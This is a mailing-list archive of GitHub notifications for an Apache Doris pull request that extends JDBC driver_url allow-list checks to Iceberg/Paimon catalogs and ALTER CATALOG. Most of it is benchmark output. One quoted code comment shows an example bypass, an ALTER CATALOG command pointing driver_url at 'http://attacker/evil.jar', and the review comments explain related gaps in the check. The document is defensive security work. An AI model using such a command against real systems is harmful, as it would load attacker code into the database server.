Re: [PR] [fix](catalog) apply the jdbc driver_url checks to iceberg/paimon and to ALTER CATALOG [doris]
hello-stephen commented on PR #66483: URL: https://github.com/apache/doris/pull/66483#issuecomment-5390789754 ClickBench: Total hot run time: 14.51 s ``` machine: 'aliyun_ecs.c7a.8xlarge_32C64G' scripts: https://github.com/apache/doris/tree/master/tools/clickbench-tools ClickBench test result on commit 112e1456f32e6b26897a25260cd11fa2ccb886f1, data reload: false query1 0.010.000.00 query2 0.070.030.03 query3 0.240.100.09 query4 1.600.100.10 query5 0.170.160.16 query6 1.250.690.70 query7 0.040.000.01 query8 0.040.030.03 query9 0.290.220.22 query10 0.340.350.35 query11 0.160.120.11 query12 0.140.110.12 query13 0.300.300.31 query14 0.450.450.46 query15 0.360.330.34 query16 0.220.240.24 query17 0.680.660.63 query18 0.190.180.17 query19 1.151.231.06 query20 0.010.010.01 query21 15.42 0.170.12 query22 5.020.040.04 query23 16.19 0.260.11 query24 2.980.310.24 query25 0.100.040.04 query26 0.790.160.12 query27 0.040.020.03 query28 3.590.560.25 query29 12.46 3.172.55 query30 0.260.120.13 query31 2.760.380.17 query32 3.520.320.23 query33 1.331.451.47 query34 15.37 2.171.75 query35 1.761.711.70 query36 0.470.290.28 query37 0.050.040.04 query38 0.040.030.04 query39 0.040.020.03 query40 0.120.070.07 query41 0.080.030.03 query42 0.030.020.03 query43 0.040.030.03 Total cold run time: 90.17 s Total hot run time: 14.51 s ``` -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: [email protected] For queries about this service, please contact Infrastructure at: [email protected] - To unsubscribe, e-mail: [email protected] For additional commands, e-mail: [email protected]
Re: [PR] [fix](catalog) apply the jdbc driver_url checks to iceberg/paimon and to ALTER CATALOG [doris]
hello-stephen commented on PR #66483: URL: https://github.com/apache/doris/pull/66483#issuecomment-5390760449 TPC-DS: Total hot run time: 82757 ms ``` machine: 'aliyun_ecs.c7a.8xlarge_32C64G' scripts: https://github.com/apache/doris/tree/master/tools/tpcds-tools TPC-DS sf100 test result on commit 112e1456f32e6b26897a25260cd11fa2ccb886f1, data reload: false query5 4287423 335 335 query6 401 161 166 161 query7 4872432 264 264 query8 305 122 115 115 query9 8717285128572851 query10 402 252 216 216 query11 53841039920 920 query12 118 71 71 71 query13 1214464 333 333 query14 6089218620652065 query14_11974196219481948 query15 175 129 113 113 query16 929 366 362 362 query17 802 449 368 368 query18 2325328 242 242 query19 163 144 116 116 query20 71 72 74 72 query21 212 115 102 102 query22 5490535552895289 query23 6765632059655965 query23_16106599360765993 query24 73011083781 781 query24_1783 783 797 783 query25 434 323 289 289 query26 1249252 157 157 query27 2722450 283 283 query28 4615147715121477 query29 919 413 327 327 query30 275 180 151 151 query31 831 425 355 355 query32 101 49 47 47 query33 458 211 176 176 query34 999 827 484 484 query35 406 387 336 336 query36 553 557 546 546 query37 116 91 67 67 query38 1000832 802 802 query39 513 502 459 459 query39_1490 489 464 464 query40 216 122 110 110 query41 52 50 50 50 query42 80 80 75 75 query43 242 236 206 206 query44 1015545 543 543 query45 113 104 102 102 query46 764 835 542 542 query47 757 764 734 734 query48 304 306 235 235 query49 535 227 184 184 query50 820 310 249 249 query51 8156786779717867 query52 76 77 65 65 query53 196 212 162 162 query54 241 175 166 166 query55 68 57 55 55 query56 227 257 270 257 query57 708 621 660 621 query58 233 197 203 197 query59 1223121311051105 query60 271 215 191 191 query61 111 117 116 116 query62 350 208 190 190 query63 194 160 166 160 query64 2685724 670 670 query65 1648162616971626 query66 1976327 257 257 query67 10224 949696089496 query68 27451244799 799 query69 350 230 202 202 query70 686 660 612 612 query71 291 258 233 233 query72 2258170715751575 query73 667 550 337 337 query74 1570122411381138 query75 12071159997 997 query76 2281707 553 553 query77 255 253 215 215 query78 3843365831453145 query79 2896800 597 597 query80 1590391 347 347 query81 493 195 178 178 query82 634 120 95 95 query83 339 242 237 237 query84 318 123 98 98 query85 884 428 384 384 query86 402 178 170 170 query87 993 967 904 904 query88 2776212721202120 query89 312 224 204 204 query90 1933138 133 133 query91 150 141 125 125 query92 49 45 45 45 query93 16551252750 750 query94 645 270 210 210 query95 624 347 337 337 query96 787 569 271 271 query97 1053104110101010 query98 167 134 137 134 query99 410 348 306 306 Total cold run time: 178725 ms Total hot run time: 82757 ms ``` -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific
Re: [PR] [fix](catalog) apply the jdbc driver_url checks to iceberg/paimon and to ALTER CATALOG [doris]
hello-stephen commented on PR #66483: URL: https://github.com/apache/doris/pull/66483#issuecomment-5390714946 TPC-H: Total hot run time: 17141 ms ``` machine: 'aliyun_ecs.c7a.8xlarge_32C64G' scripts: https://github.com/apache/doris/tree/master/tools/tpch-tools Tpch sf100 test result on commit 112e1456f32e6b26897a25260cd11fa2ccb886f1, data reload: false -- Round 1 -- q1 17591 303030093009 q2 1889235 177 177 q3 10450 870 509 509 q4 4669245 203 203 q5 7690558 388 388 q6 137 120 94 94 q7 528 495 391 391 q8 9254845 951 845 q9 3488237823782378 q10 6549862 716 716 q11 446 275 241 241 q12 681 401 328 328 q13 17854 153711701170 q14 152 149 136 136 q15 q16 443 393 364 364 q17 843 745 785 745 q18 3106225222492249 q19 1138920 764 764 q20 702 520 504 504 q21 5333169218741692 q22 323 267 238 238 Total cold run time: 93266 ms Total hot run time: 17141 ms - Round 2, with runtime_filter_mode=off - q1 3400331133253311 q2 206 216 157 157 q3 2204234521922192 q4 11781168889 889 q5 2150212821242124 q6 173 118 84 84 q7 1033892 864 864 q8 1580138313931383 q9 3104307230683068 q10 1828179816701670 q11 348 269 256 256 q12 457 422 338 338 q13 1495152311741174 q14 166 180 168 168 q15 q16 400 400 371 371 q17 1045104110261026 q18 4911442547704425 q19 4264796 822 796 q20 957 925 807 807 q21 3778309532413095 q22 399 342 325 325 Total cold run time: 35076 ms Total hot run time: 28523 ms ``` -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: [email protected] For queries about this service, please contact Infrastructure at: [email protected] - To unsubscribe, e-mail: [email protected] For additional commands, e-mail: [email protected]
Re: [PR] [fix](catalog) apply the jdbc driver_url checks to iceberg/paimon and to ALTER CATALOG [doris]
github-actions[bot] commented on code in PR #66483:
URL: https://github.com/apache/doris/pull/66483#discussion_r3840558008
##
fe/fe-core/src/main/java/org/apache/doris/datasource/plugin/PluginDrivenExternalCatalog.java:
##
@@ -265,6 +267,33 @@ private void checkHiveParquetTimeZone(CatalogProperty
property) throws DdlExcept
}
}
+/**
+ * Applies the operator's driver-jar gate ({@code jdbc_driver_secure_path}
/
+ * {@code jdbc_driver_url_white_list}) to every driver_url the connector
says these properties would
+ * make it load into the FE JVM.
+ *
+ * On CREATE the same gate is applied by the connector's {@code
preCreateValidation} (through
+ * {@link
org.apache.doris.connector.DefaultConnectorValidationContext#validateAndResolveDriverPath}),
+ * which ALTER CATALOG never reaches — it validates through {@code
validatePropertiesBeforeUpdate}
+ * alone. Without this call an operator who restricts {@code
jdbc_driver_secure_path} would have that
+ * restriction enforced at CREATE and then bypassed by a follow-up
+ * {@code ALTER CATALOG ... SET PROPERTIES("driver_url" =
"http://attacker/evil.jar";)}, which
+ * {@code resetToUninitialized} makes effective on the next metadata
access.
+ *
+ * Deliberately NOT applied on replay: this runs from the {@code
!isReplay} ALTER path only, so an
+ * existing catalog whose driver_url predates a since-tightened allow-list
keeps loading and FE
+ * startup / follower replay can never be blocked by it.
+ */
+private void checkDriverUrlsAgainstOperatorGate(Map
candidate) throws DdlException {
+for (String driverUrl :
ConnectorFactory.driverUrlsToValidate(getType(), candidate)) {
+try {
+JdbcResource.getFullDriverUrl(driverUrl);
Review Comment:
[P1] Validate bare names using the connector's resolution context.
`driverUrlsToValidate` returns raw values, but this call resolves a bare jar
through global `Config.jdbc_drivers_dir` and can throw if it is absent there.
JDBC, Iceberg, and Paimon loaders instead prefer their plugin-specific
`.conf` `drivers_dir`. Thus a persisted catalog with `driver_url=d.jar`
and the jar only in its supported plugin directory now fails even an unrelated
`ALTER CATALOG`, although lazy initialization can resolve and load it. Please
avoid global filesystem resolution for a mandatory-rule-approved bare name, or
pass the connector-resolved path/context to the engine gate; cover this with a
real provider using a custom `drivers_dir`.
##
fe/fe-core/src/main/java/org/apache/doris/connector/ConnectorPluginManager.java:
##
@@ -518,6 +518,19 @@ public void validatePropertiesForUpdate(String catalogType,
}
}
+/**
+ * The driver jar URLs the matching provider would load for {@code
properties}. Empty when no provider
+ * matches or the connector loads no driver jar.
+ */
+public List driverUrlsToValidate(String catalogType, Map properties) {
+for (ConnectorProvider provider : providers) {
+if (provider.supports(catalogType, properties)) {
+return provider.driverUrlsToValidate(properties);
+}
+}
+return Collections.emptyList();
Review Comment:
[P1] Fail closed when no connector provider matches. Returning an empty list
here conflates a matching provider that loads no jar with a replay-created
degraded catalog whose provider is absent or API-rejected. In that supported
degraded state, `validatePropertiesForUpdate` also falls through, so an
interactive `ALTER CATALOG` can journal an unchecked `driver_url`; after an
API-7 provider is restored and FE restarts, replay skips validation and lazy
initialization hands that persisted value to the JDBC/Iceberg/Paimon driver
loader. Please distinguish provider absence from an empty declaration and
reject interactive ALTER until a compatible provider is installed, while
keeping replay permissive.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: [email protected]
For queries about this service, please contact Infrastructure at:
[email protected]
-
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]
Re: [PR] [fix](catalog) apply the jdbc driver_url checks to iceberg/paimon and to ALTER CATALOG [doris]
CalvinKirs commented on PR #66483: URL: https://github.com/apache/doris/pull/66483#issuecomment-5390182367 /review -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: [email protected] For queries about this service, please contact Infrastructure at: [email protected] - To unsubscribe, e-mail: [email protected] For additional commands, e-mail: [email protected]
Re: [PR] [fix](catalog) apply the jdbc driver_url checks to iceberg/paimon and to ALTER CATALOG [doris]
CalvinKirs commented on PR #66483: URL: https://github.com/apache/doris/pull/66483#issuecomment-5390180288 run buildall -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: [email protected] For queries about this service, please contact Infrastructure at: [email protected] - To unsubscribe, e-mail: [email protected] For additional commands, e-mail: [email protected]
Re: [PR] [fix](catalog) apply the jdbc driver_url checks to iceberg/paimon and to ALTER CATALOG [doris]
CalvinKirs commented on PR #66483: URL: https://github.com/apache/doris/pull/66483#issuecomment-5215379731 run external -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: [email protected] For queries about this service, please contact Infrastructure at: [email protected] - To unsubscribe, e-mail: [email protected] For additional commands, e-mail: [email protected]
Re: [PR] [fix](catalog) apply the jdbc driver_url checks to iceberg/paimon and to ALTER CATALOG [doris]
hello-stephen commented on PR #66483: URL: https://github.com/apache/doris/pull/66483#issuecomment-5193224391 ClickBench: Total hot run time: 23.86 s ``` machine: 'aliyun_ecs.c7a.8xlarge_32C64G' scripts: https://github.com/apache/doris/tree/master/tools/clickbench-tools ClickBench test result on commit cd4caedd54f095d63b348a27a537956f34fb86a0, data reload: false query1 0.000.000.01 query2 0.090.050.04 query3 0.250.140.13 query4 1.610.140.14 query5 0.240.220.22 query6 1.160.840.81 query7 0.040.010.01 query8 0.050.040.03 query9 0.400.310.31 query10 0.550.540.56 query11 0.190.140.13 query12 0.180.140.14 query13 0.480.470.47 query14 1.001.000.98 query15 0.600.600.58 query16 0.310.320.32 query17 1.151.101.10 query18 0.210.200.19 query19 2.052.022.02 query20 0.020.010.01 query21 15.45 0.180.14 query22 4.980.050.05 query23 16.14 0.310.12 query24 2.920.420.32 query25 0.120.040.04 query26 0.740.210.16 query27 0.040.040.04 query28 3.520.780.37 query29 12.47 4.043.15 query30 0.270.160.14 query31 2.770.550.31 query32 3.230.580.49 query33 3.233.143.22 query34 15.61 3.993.25 query35 3.203.223.20 query36 0.540.410.43 query37 0.090.060.06 query38 0.040.040.03 query39 0.040.020.02 query40 0.170.160.16 query41 0.090.030.03 query42 0.040.030.03 query43 0.040.030.03 Total cold run time: 96.32 s Total hot run time: 23.86 s ``` -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: [email protected] For queries about this service, please contact Infrastructure at: [email protected] - To unsubscribe, e-mail: [email protected] For additional commands, e-mail: [email protected]
Re: [PR] [fix](catalog) apply the jdbc driver_url checks to iceberg/paimon and to ALTER CATALOG [doris]
hello-stephen commented on PR #66483: URL: https://github.com/apache/doris/pull/66483#issuecomment-5193169477 TPC-DS: Total hot run time: 166484 ms ``` machine: 'aliyun_ecs.c7a.8xlarge_32C64G' scripts: https://github.com/apache/doris/tree/master/tools/tpcds-tools TPC-DS sf100 test result on commit cd4caedd54f095d63b348a27a537956f34fb86a0, data reload: false query5 4308597 453 453 query6 460 223 203 203 query7 4891607 349 349 query8 318 160 146 146 query9 8755398039923980 query10 458 365 315 315 query11 5845218119961996 query12 151 97 99 97 query13 1247599 429 429 query14 6036424939923992 query14_13791378537933785 query15 199 191 178 178 query16 991 478 466 466 query17 1046711 556 556 query18 2431487 345 345 query19 210 188 151 151 query20 109 99 100 99 query21 231 155 135 135 query22 13170 12991 12819 12819 query23 15713 14918 14697 14697 query23_114851 14704 14657 14657 query24 7541171012451245 query24_11253125112471247 query25 565 445 390 390 query26 1308355 198 198 query27 2602592 376 376 query28 4516202119821982 query29 1045609 489 489 query30 342 260 222 222 query31 1180110410351035 query32 111 62 58 58 query33 523 319 236 236 query34 12711134603 603 query35 726 760 638 638 query36 782 787 720 720 query37 165 103 89 89 query38 1859178616981698 query39 880 852 826 826 query39_1806 812 804 804 query40 240 163 149 149 query41 66 63 63 63 query42 91 96 102 96 query43 314 323 276 276 query44 1467775 765 765 query45 207 184 170 170 query46 10401174739 739 query47 1537154314801480 query48 408 389 293 293 query49 572 399 294 294 query50 1081418 334 334 query51 10812 10782 11062 10782 query52 89 87 75 75 query53 262 272 198 198 query54 291 231 222 222 query55 75 76 65 65 query56 318 295 279 279 query57 1013997 926 926 query58 283 225 264 225 query59 1549160613951395 query60 301 276 256 256 query61 158 181 140 140 query62 391 316 270 270 query63 240 195 198 195 query64 28411064884 884 query65 3873378837953788 query66 1831475 352 352 query67 27428 28019 27936 27936 query68 3137144410141014 query69 401 290 271 271 query70 859 799 784 784 query71 358 333 331 331 query72 2950253423712371 query73 822 767 451 451 query74 4643447543034303 query75 2361233319981998 query76 23431135756 756 query77 344 379 274 274 query78 11047 11138 10405 10405 query79 14271156742 742 query80 1277587 489 489 query81 519 328 295 295 query82 616 175 146 146 query83 398 378 300 300 query84 310 162 134 134 query85 957 589 523 523 query86 373 240 218 218 query87 2007194618211821 query88 3674276927722769 query89 393 309 284 284 query90 1781198 190 190 query91 196 185 165 165 query92 62 61 53 53 query93 15881563947 947 query94 649 355 318 318 query95 770 604 477 477 query96 1074838 318 318 query97 2477245523542354 query98 196 186 183 183 query99 737 729 607 607 Total cold run time: 252232 ms Total hot run time: 166484 ms ``` -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go
Re: [PR] [fix](catalog) apply the jdbc driver_url checks to iceberg/paimon and to ALTER CATALOG [doris]
hello-stephen commented on PR #66483: URL: https://github.com/apache/doris/pull/66483#issuecomment-5193040815 TPC-H: Total hot run time: 28557 ms ``` machine: 'aliyun_ecs.c7a.8xlarge_32C64G' scripts: https://github.com/apache/doris/tree/master/tools/tpch-tools Tpch sf100 test result on commit cd4caedd54f095d63b348a27a537956f34fb86a0, data reload: false -- Round 1 -- q1 17861 405139703970 q2 1983310 197 197 q3 10322 1374803 803 q4 4673464 343 343 q5 7503834 550 550 q6 194 168 135 135 q7 724 789 583 583 q8 9816153015721530 q9 5695401940134013 q10 6768159913571357 q11 505 347 322 322 q12 712 575 458 458 q13 18096 324827232723 q14 262 257 243 243 q15 q16 730 734 660 660 q17 12911125883 883 q18 6542562655375537 q19 1642131810311031 q20 821 652 593 593 q21 5818255223282328 q22 427 354 298 298 Total cold run time: 102385 ms Total hot run time: 28557 ms - Round 2, with runtime_filter_mode=off - q1 4307419641924192 q2 267 311 209 209 q3 4532486743664366 q4 2140225913851385 q5 4217410640844084 q6 231 182 125 125 q7 1711158014181418 q8 2791208620362036 q9 7149725872427242 q10 4270425838653865 q11 535 399 377 377 q12 702 727 509 509 q13 3259367428982898 q14 314 285 284 284 q15 q16 705 705 612 612 q17 1329127312831273 q18 12071 11041 11830 11041 q19 1189114811681148 q20 2226219519481948 q21 5659495946154615 q22 526 469 426 426 Total cold run time: 60130 ms Total hot run time: 54053 ms ``` -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: [email protected] For queries about this service, please contact Infrastructure at: [email protected] - To unsubscribe, e-mail: [email protected] For additional commands, e-mail: [email protected]
Re: [PR] [fix](catalog) apply the jdbc driver_url checks to iceberg/paimon and to ALTER CATALOG [doris]
CalvinKirs commented on PR #66483: URL: https://github.com/apache/doris/pull/66483#issuecomment-5190495810 run buildall -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: [email protected] For queries about this service, please contact Infrastructure at: [email protected] - To unsubscribe, e-mail: [email protected] For additional commands, e-mail: [email protected]
Re: [PR] [fix](catalog) apply the jdbc driver_url checks to iceberg/paimon and to ALTER CATALOG [doris]
hello-stephen commented on PR #66483: URL: https://github.com/apache/doris/pull/66483#issuecomment-5190157147 Thank you for your contribution to Apache Doris. Don't know what should be done next? See [How to process your PR](https://cwiki.apache.org/confluence/display/DORIS/How+to+process+your+PR). Please clearly describe your PR: 1. What problem was fixed (it's best to include specific error reporting information). How it was fixed. 2. Which behaviors were modified. What was the previous behavior, what is it now, why was it modified, and what possible impacts might there be. 3. What features were added. Why was this function added? 4. Which code was refactored and why was this part of the code refactored? 5. Which functions were optimized and what is the difference before and after the optimization? -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: [email protected] For queries about this service, please contact Infrastructure at: [email protected] - To unsubscribe, e-mail: [email protected] For additional commands, e-mail: [email protected]
